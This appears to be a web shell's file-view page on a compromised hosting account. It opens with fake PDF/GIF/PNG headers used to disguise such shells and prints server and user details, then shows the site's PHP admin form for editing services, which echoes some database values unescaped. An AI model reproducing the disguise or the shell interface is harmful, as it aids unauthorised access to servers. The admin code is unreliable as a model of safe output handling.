%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_6ca89795/admin/ |
Upload File : |
<?php
include('../dbcon.php');
include('header.php');
include('function.php');
$sid = isset($_GET['sid']) ? intval($_GET['sid']) : 0;
$updateabout = [];
$insurance_tabs = []; // Initialize the variable
if ($sid) {
// Fetch service data
$sql = "SELECT s.*, c.category FROM `services` s
LEFT JOIN `service_category` c ON s.category_id = c.id
WHERE s.id = '$sid'";
$run = mysqli_query($conn, $sql);
if ($run && mysqli_num_rows($run) > 0) {
$updateabout = mysqli_fetch_assoc($run);
} else {
echo "<script>
alert('Invalid Service ID.');
window.history.back();
</script>";
exit();
}
}
?>
<div class="container">
<div class="title"><?php echo $sid ? "Update Our Services" : "Add New Product"; ?></div>
<script src="https://cdn.ckeditor.com/4.16.2/standard/ckeditor.js"></script>
<!-- Form Start -->
<form action="servicesupdatedata.php" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="category_id">Category</label>
<select class="form-control" name="category_id">
<?php
$categorySql = "SELECT * FROM `service_category`";
$categoryResult = mysqli_query($conn, $categorySql);
while ($category = mysqli_fetch_assoc($categoryResult)) {
$selected = ($updateabout['category_id'] == $category['id']) ? 'selected' : '';
echo "<option value='{$category['id']}' $selected>{$category['category']}</option>";
}
?>
</select>
</div>
<!-- Title -->
<div class="form-group">
<label for="title">Product Name</label>
<input type="text" class="form-control" name="title" value="<?php echo htmlspecialchars($updateabout['title'] ?? ''); ?>" required>
</div>
<!-- Page Title -->
<div class="form-group">
<label for="page_title">Page Title</label>
<input type="text" class="form-control" name="page_title" value="<?php echo htmlspecialchars($updateabout['page_title'] ?? ''); ?>" required>
</div>
<!-- Description -->
<div class="form-group">
<label for="description">Description</label>
<textarea class="form-control" name="description" placeholder="Description" required><?php echo htmlspecialchars($updateabout['description'] ?? ''); ?></textarea>
</div>
<!-- Keywords -->
<div class="form-group">
<label for="keywords">Keywords</label>
<textarea class="form-control" name="keywords"><?php echo htmlspecialchars($updateabout['keywords'] ?? ''); ?></textarea>
</div>
<!-- Robots -->
<div class="form-group">
<label for="robots">Robots</label>
<input type="text" class="form-control" name="robots" value="<?php echo htmlspecialchars($updateabout['robots'] ?? ''); ?>">
</div>
<!-- Canonical -->
<div class="form-group">
<label for="canonical">Canonical</label>
<input type="text" class="form-control" name="canonical" value="<?php echo htmlspecialchars($updateabout['canonical'] ?? ''); ?>">
</div>
<!-- Title Slug -->
<div class="form-group">
<label for="titleslug">Title Slug</label>
<textarea class="form-control" name="titleslug"><?php echo htmlspecialchars($updateabout['titleslug'] ?? ''); ?></textarea>
</div>
<!-- Content -->
<div class="form-group">
<label for="content">Content</label>
<textarea id="content" name="content"><?php echo str_replace(" ", " ", htmlspecialchars_decode(trim($updateabout['content'] ?? ''), ENT_QUOTES)); ?></textarea>
</div>
<!-- Content Arabic -->
<div class="form-group">
<label for="content_ar">Content (Arabic)</label>
<textarea id="content_ar" name="content_ar"><?php echo str_replace(" ", " ", htmlspecialchars_decode(trim($updateabout['content_ar'] ?? ''), ENT_QUOTES)); ?></textarea>
</div>
<!-- Image -->
<div class="form-group">
<label for="image">Image</label>
<input type="file" class="form-control" name="image">
<?php if (!empty($updateabout['image'])): ?>
<p>Current Image: <img src="<?php echo htmlspecialchars($updateabout['image']); ?>" width="150" alt="Current Image"></p>
<?php endif; ?>
</div>
<!-- Detail Image 1 -->
<?php if ($sid): ?>
<input type="hidden" name="sid" value="<?php echo $sid; ?>">
<?php endif; ?>
<button type="submit" name="submit" class="btn btn-primary">Submit</button>
</form>
</div>
<script>
CKEDITOR.replace('content', {
entities: false,
basicEntities: false,
removePlugins: 'pastefromword',
on: {
instanceReady: function (evt) {
// Remove any that might be present initially
var editorData = evt.editor.getData().replace(/ /g, ' ');
evt.editor.setData(editorData);
},
change: function (evt) {
// Ensure is removed when content is changed
var editorData = evt.editor.getData().replace(/ /g, ' ');
evt.editor.setData(editorData);
}
}
});
CKEDITOR.replace('content_ar', {
entities: false,
basicEntities: false,
removePlugins: 'pastefromword',
on: {
instanceReady: function (evt) {
var editorData = evt.editor.getData().replace(/ /g, ' ');
evt.editor.setData(editorData);
},
change: function (evt) {
var editorData = evt.editor.getData().replace(/ /g, ' ');
evt.editor.setData(editorData);
}
}
});
</script>
<!-- CKEditor Initialization -->
<script>
CKEDITOR.replace('content');
CKEDITOR.replace('content_ar');
</script>
</div>
<!-- Core Scripts -->
<script src="../assets/vendor/libs/jquery/jquery.js"></script>
<script src="../assets/vendor/libs/popper/popper.js"></script>
<script src="../assets/vendor/js/bootstrap.js"></script>
<script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="../assets/vendor/js/menu.js"></script>
<script src="../assets/js/main.js"></script>
<script async defer src="https://buttons.github.io/buttons.js"></script>